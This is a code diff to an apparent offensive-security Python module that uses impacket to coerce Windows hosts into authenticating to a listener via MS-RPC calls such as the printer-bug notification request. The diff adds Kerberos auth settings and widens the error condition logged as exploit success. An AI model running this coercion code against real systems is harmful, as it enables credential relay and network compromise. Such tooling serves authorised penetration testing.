|
1 | 1 | from impacket.dcerpc.v5 import transport, rprn, even |
2 | 2 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL |
3 | 3 | from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID |
| 4 | +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY |
4 | 5 |
|
5 | 6 | from impacket.uuid import uuidtup_to_bin |
6 | 7 |
|
@@ -236,6 +237,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do |
236 | 237 |
|
237 | 238 | rpctransport.setRemoteHost(target) |
238 | 239 | dce = rpctransport.get_dce_rpc() |
| 240 | + if doKerberos: |
| 241 | + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) |
| 242 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
239 | 243 | self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"])) |
240 | 244 | try: |
241 | 245 | dce.connect() |
@@ -347,10 +351,12 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do |
347 | 351 |
|
348 | 352 | if doKerberos: |
349 | 353 | rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) |
350 | | - # if target: |
351 | 354 |
|
352 | 355 | rpctransport.setRemoteHost(target) |
353 | 356 | dce = rpctransport.get_dce_rpc() |
| 357 | + if doKerberos: |
| 358 | + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) |
| 359 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
354 | 360 | self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"])) |
355 | 361 | try: |
356 | 362 | dce.connect() |
@@ -577,6 +583,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do |
577 | 583 |
|
578 | 584 | rpctransport.setRemoteHost(target) |
579 | 585 | dce = rpctransport.get_dce_rpc() |
| 586 | + if doKerberos: |
| 587 | + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) |
| 588 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
580 | 589 | self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"])) |
581 | 590 | try: |
582 | 591 | dce.connect() |
@@ -809,6 +818,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do |
809 | 818 |
|
810 | 819 | rpctransport.setRemoteHost(target) |
811 | 820 | dce = rpctransport.get_dce_rpc() |
| 821 | + if doKerberos: |
| 822 | + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) |
| 823 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
812 | 824 | self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"])) |
813 | 825 | try: |
814 | 826 | dce.connect() |
@@ -849,7 +861,7 @@ def exploit(self, dce, listener, target, always_continue, pipe): |
849 | 861 | request["dwPrinterLocal"] = 0 |
850 | 862 | dce.request(request) |
851 | 863 | except Exception as e: |
852 | | - if str(e).find("rpc_s_access_denied") >= 0: |
| 864 | + if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0: |
853 | 865 | self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotificationEx Success") |
854 | 866 | self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotificationEx") |
855 | 867 | if not always_continue: |
@@ -920,6 +932,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do |
920 | 932 |
|
921 | 933 | rpctransport.setRemoteHost(target) |
922 | 934 | dce = rpctransport.get_dce_rpc() |
| 935 | + if doKerberos: |
| 936 | + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) |
| 937 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
923 | 938 | self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"])) |
924 | 939 | try: |
925 | 940 | dce.connect() |
|
0 commit comments